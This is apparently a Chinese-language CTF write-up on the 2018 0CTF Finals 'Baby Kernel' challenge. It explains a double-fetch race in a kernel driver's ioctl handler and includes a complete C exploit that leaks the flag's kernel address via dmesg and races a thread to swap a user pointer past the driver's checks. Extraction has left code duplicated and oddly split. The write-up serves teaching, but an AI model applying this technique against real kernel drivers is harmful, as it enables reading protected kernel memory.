-
-
[原创]Linux Kernel Pwn_1_Double fetch
-
发表于: 2020-10-3 11:15 6147
-
title: Linux Kernel pwn(1)——Double fetch
date: 2020-09-10 01:35:59
tags: Double fetch
categories: kernel
咕咕咕了好久,之前做了一个学长出的内核rop,感觉还是学到了很多,今天做一道Double fetch
double fetch漏洞隶属于条件竞争漏洞,但是他特指在一种内核态与用户态之间的数据访问竞争。
以上是一个经典的Double fetch漏洞:
首先,一个用户态线程准备好了数据(preparedata -> user data)
然后通过syscall切入内核态
内核第一次取用数据时进行了安全检查
当检查通过数据后,第二次取用进行真正的使用
首先解包文件系统:
可以看到fs.sh是打包脚本
##
首先调用misc_register()
注册了一个杂项设备baby。
然后有一个baby_ioctl()
函数,作为用户态与这个设备通信的接口:
其实就是判断a3是否小于a2+a1.。。用来判断是否越界。
我们再回到caller中看他传进入的到底是什么玩意。
首先是第一个判断.
v2是rdx也就是第三个参数,实际传进来的应该是第三个参数的地址。也就是说,判断第三个参数的地址+0x10是否大于¤t_task+0x1358
然后看第二个,v5=v2,相当于是判断是否v5+\(v5+8)大于¤t_task+0x1358
于是感觉这个传进来的第三个参数的地址,应该是一个结构体的地址啊orz
并且结构体的第一或二个位置的元素应该是一个指针
看最后一个取结构体的第二个元素判断是否跟flag等长??那第二个元素应该是一个长度,那么也就是说第一个位置是一个指针。
经过我们动态调试:
到达调用► 0xffffffffc03de09b <baby_ioctl+123> call __chk_range_not_ok <0xffffffffc03de000>
可以看到实际上¤t_task+0x1358就是0x7ffffffff000,也就是说,这里实际在判断:1.数据的指针是否指向用户态?2.flag的指针是否指向用户态?3.flag的长度是否等于内核中真正的flag的长度?
只要bypass掉这三个,我们就可以把flag打出来。
最后到达这里,判断结构体中*(第一个元素+i)是否等于flag[i],看到这里,盲猜这用户空间传来的结构体是如下的结构:
这个程序乍一看其实没什么问题orz。。实际上是有条件竞争的(内核态与用户态的double fetch)。如果我们先构造一个user_data来通过内核态的验证(此时user_data还是在用户态的,只是把地址送进去了),然后在起一个evil thread来不断劫持用户态的user_data的my_Flag指针指向真正的flag的位置。同时,不停的用ioctl发0x1337进入else if。那么就能通过double fetch的条件竞争bypass内核对my_flag的验证,最后打出来flag即可。
效果:
这个玩意出现在这里很奇怪,它相当于是:
负责将a1,a2本来的两个有符号数转成无符号数相加,然后通过他们的CF标志位判断是否溢出(无符号),而比如说同样的int,那么unsigned int肯定在正数范围内能取到的值大于signed int,那么如果你uint都溢出了,那么你的signed int相加必然溢出。
关于这个宏出现在这里的功能也只能这么想了。。
https://www.xuebuyuan.com/541821.html
https://cloud.tencent.com/developer/article/1432392
➜
2018
0CTF
Finals Baby Kernel mkdir core
➜
2018
0CTF
Finals Baby Kernel cd core
➜ core mv ..
/
core.cpio
➜ core cpio
-
idmv < core.cpio
➜
2018
0CTF
Finals Baby Kernel mkdir core
➜
2018
0CTF
Finals Baby Kernel cd core
➜ core mv ..
/
core.cpio
➜ core cpio
-
idmv < core.cpio
#!/bin/sh
mount
-
t proc none
/
proc
mount
-
t sysfs none
/
sys
mount
-
t devtmpfs devtmpfs
/
dev
echo
"flag{this_is_a_sample_flag}"
> flag
/
/
可以看到这里有个flag文件
chown root:root flag
chmod
400
flag
exec
0
<
/
dev
/
console
exec
1
>
/
dev
/
console
exec
2
>
/
dev
/
console
insmod baby.ko
chmod
777
/
dev
/
baby
echo
-
e
"\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid
1000
sh
umount
/
proc
umount
/
sys
poweroff
-
d
0
-
f
#!/bin/sh
mount
-
t proc none
/
proc
mount
-
t sysfs none
/
sys
mount
-
t devtmpfs devtmpfs
/
dev
echo
"flag{this_is_a_sample_flag}"
> flag
/
/
可以看到这里有个flag文件
chown root:root flag
chmod
400
flag
exec
0
<
/
dev
/
console
exec
1
>
/
dev
/
console
exec
2
>
/
dev
/
console
insmod baby.ko
chmod
777
/
dev
/
baby
echo
-
e
"\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid
1000
sh
umount
/
proc
umount
/
sys
poweroff
-
d
0
-
f
__int64 init_module()
{
_fentry__();
misc_register(&baby);
return
0LL
;
}
__int64 init_module()
{
_fentry__();
misc_register(&baby);
return
0LL
;
}
__int64 v2;
/
/
rdx
__int64 v2;
/
/
rdx
struct user_data{
char
*
my_flag;
int
size;
}
struct user_data{
char
*
my_flag;
int
size;
}
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int
Time
=
1000
;
unsigned
long
long
flag_addr;
/
/
真正的flag的位置
int
finish
=
1
;
struct usr_data{
char
*
flag;
size_t
len
;
};
void evil_thread_func(void
*
a){
/
/
传进来的参数是usr_data的地址
printf(
"Evil thread trugger!\n"
);
struct usr_data
*
s
=
a;
while
(finish
=
=
1
){
s
-
>flag
=
flag_addr;
/
/
改他!改他!
}
};
int
main(){
setvbuf(stdin,
0
,
2
,
0
);
setvbuf(stdout,
0
,
2
,
0
);
setvbuf(stderr,
0
,
2
,
0
);
char buf[
201
]
=
{
0
};
char usr_flag[]
=
"flag{aasdascxcdadwdaw}"
;
struct usr_data usr_data;
usr_data.flag
=
usr_flag;
usr_data.
len
=
33
;
int
fd;
fd
=
open
(
"/dev/baby"
,
0
);
/
/
打开对应设备
int
ret;
ret
=
ioctl(fd,
0x6666
);
/
/
发送
0x6666
system(
"dmesg | grep flag > /tmp/sir.txt"
);
/
/
通过dmesg获取printk出来的内核态flag地址
int
file_fd
=
open
(
"/tmp/sir.txt"
,O_RDONLY);
int
id
=
read(file_fd,buf,
200
);
close(file_fd);
char
*
addr;
addr
=
strstr(buf,
"Your flag is at "
);
if
(!addr){
perror(
"error!"
);
return
-
1
;
}
addr
+
=
0x10
;
flag_addr
=
strtoull(addr,addr
+
16
,
16
);
/
/
16
进制字符串转unsigned longlong,全局变量flag_addr中此时是真正的flag的地址
printf(
"[*]flag addr is : %p\n"
,flag_addr);
pthread_t evil_thread;
pthread_create(&evil_thread,NULL,evil_thread_func,&usr_data);
/
/
开一个恶意线程来修改usr data,不断的将user_flag所指向的用户态地址修改为flag的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出flag内容
/
/
Time
=
1000
for
(
int
i
=
0
;i<Time;i
+
+
){
ret
=
ioctl(fd,
0x1337
,&usr_data);
/
/
不断地去发
0x1337
进入第二个
if
usr_data.flag
=
usr_flag;
/
/
保证usr.flag指向用户态的空间
}
finish
=
0
;
/
/
到这里应该已经改完了
pthread_join(evil_thread,NULL);
close(fd);
printf(
"The flag in Kernel is :\n"
);
system(
"dmesg | grep flag"
);
return
0
;
return
0
;
}
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课